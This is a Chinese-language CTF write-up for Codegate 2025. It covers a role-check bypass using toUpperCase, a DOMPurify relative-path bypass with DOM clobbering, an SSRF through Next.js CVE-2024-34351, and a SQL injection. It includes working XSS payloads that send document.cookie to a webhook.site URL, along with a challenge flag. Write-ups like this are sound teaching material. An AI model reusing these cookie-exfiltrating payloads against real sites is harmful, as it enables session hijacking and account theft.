codegate wp
Masquerade
几个人一起解出来的,三个人一起才写出一题
只能说,国际赛确实难
wp有点乱。。。反正核心考点是:js的toUpperCase加相对路径绕过加domClobbering
const { generateToken } = require("../utils/jwt");
const { v4: uuidv4 } = require('uuid');
const users = new Map();
const role_list = ["ADMIN", "MEMBER", "INSPECTOR", "DEV", "BANNED"];
function checkRole(role) {
const regex = /^(ADMIN|INSPECTOR)$/i;
return regex.test(role);
}
const addUser = (password) => {
const uuid = uuidv4()
users.set(uuid, { password, role: "MEMBER", hasPerm: false });
return uuid;
};
const getUser = (uuid) => {
return users.get(uuid);
};
const getUsers = () => {
console.log(users);
return 1;
};
const setRole = (uuid, input) => {
const user = getUser(uuid);
if (checkRole(input)) return false;
if (!role_list.includes(input.toUpperCase())) return false;
users.set(uuid, { ...user, role: input.toUpperCase() });
const updated = getUser(uuid);
const payload = { uuid, ...updated }
delete payload.password;
const token = generateToken(payload);
return token;
};
const setPerm = (uuid, input) => {
const user = getUser(uuid)
users.set(uuid, { ...user, hasPerm: input });
return true;
}"ı".toUpperCase() == 'I'用toUpperCase()的小特性绕过限制变成ADMIN,然后hasparm直接在/admin/user/perm用json传布尔值改
然后第二个CSP肯定是打不了xss的,只能嵌入第一个/admin/test路由的页面
而/admin/test又加上了最新版DOMPurify的过滤
<http://3.35.104.112:3000/admin//test?title=><img src=x onerror=alert(1)>&content=b这样就能xss了
原理是让DomPurify无法加载(相对路径)
view页面可以domClobbering劫持deleteurl,bot会点击deleteurl
<html>
<body>
<a id="conf"></a>
<a id="conf" name="deleteUrl" href="<http://3.35.104.112:3000/admin/test?title=><img src=x onerror=alert(1)>&content=b">CLOBBERED</a>
</body>
</html>a标签中有属性的情况被过滤了,。但可以用/绕过。
<a/id="conf"></a>
<a/id="conf"/name="deleteUrl"/href="<http://3.35.104.112:3000/admin/test?title=><img src=x onerror=fetch('<https://webhook.site/64d7ec3e-0fe7-429d-9533-6f7a00c20529/?data=>' + encodeURI(document.cookie))>&content=b">CLOBBERED</a>
//这是conf.deleteUrl.value=test,不行X
<form id="conf">
<input name="deleteUrl" value="test" />
</form>codegate2025{16a7eeb64ec6b150c9308509a039cec0c137dfd766ef13ccb8d6d9e0cf54aef3}
payload如下:
<a/id="conf"></a>
<a/id="conf"/name="deleteUrl"/href="http://localhost:3000/admin//test?title=%3Cimg%20src%3Dx%20onerror%3Dlocation%3D%27https%3A%2F%2Fwebhook%2Esite%2F64d7ec3e%2D0fe7%2D429d%2D9533%2D6f7a00c20529%2F%3Fdata%3D%27%2BencodeURI%28document%2Ecookie%29%3E">&content=b">CLOBBERED</a>比赛挺好玩,有时间研究一下没写出来的题
后续
这个比赛的wp不好找,只找到一题的wp
以下是赛后wp
hide and seek
这题知道是ssrf,而且扫到了内网IP加端口
可惜没有回显,于是不会写了
看了其他人的wp才知道,原来又是组件漏洞
用了有漏洞的next.js版本,使用了Server Actions
'use server'
import { redirect } from "next/navigation";
export async function redirectGame() {
return redirect("/hide-and-seek");
}azu/nextjs-CVE-2024-34351: poc
按照这个poc就能看到回显了
这告诉下次要先把源码给ai,问问依赖有没有漏洞
然后就很简单了,访问login路由
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login Page</title>
</head>
<body>
<h1>Login</h1>
<!-- Just legacy code. But still work. -->
<!-- Test Account: guest / guest -->
<!-- <form action="/login" method="get">
<input name="key" type="hidden" value="392cc52f7a5418299a5eb22065bd1e5967c25341">
<label for="name">Username</label>
<input name="username" type="text"><br>
<label for="name">Password</label>
<input name="password" type="text"><br>
<button type="submit">Login</button>
</form> -->
<form action="/login" method="post">
<label for="name">Username</label>
<input name="username" type="text"><br>
<label for="name">Password</label>
<input name="password" type="text"><br>
<button type="submit">Login</button>
</form>
</body>
</html>然后sql注入
{"message":"Database query failed. Query: SELECT * FROM users WHERE username = 'guest'' AND password = 'guest'"}拿到数据库里面的flag即可
哎,只能说,下次一定要关心组件漏洞啊!!!
许可协议:
CC BY 4.0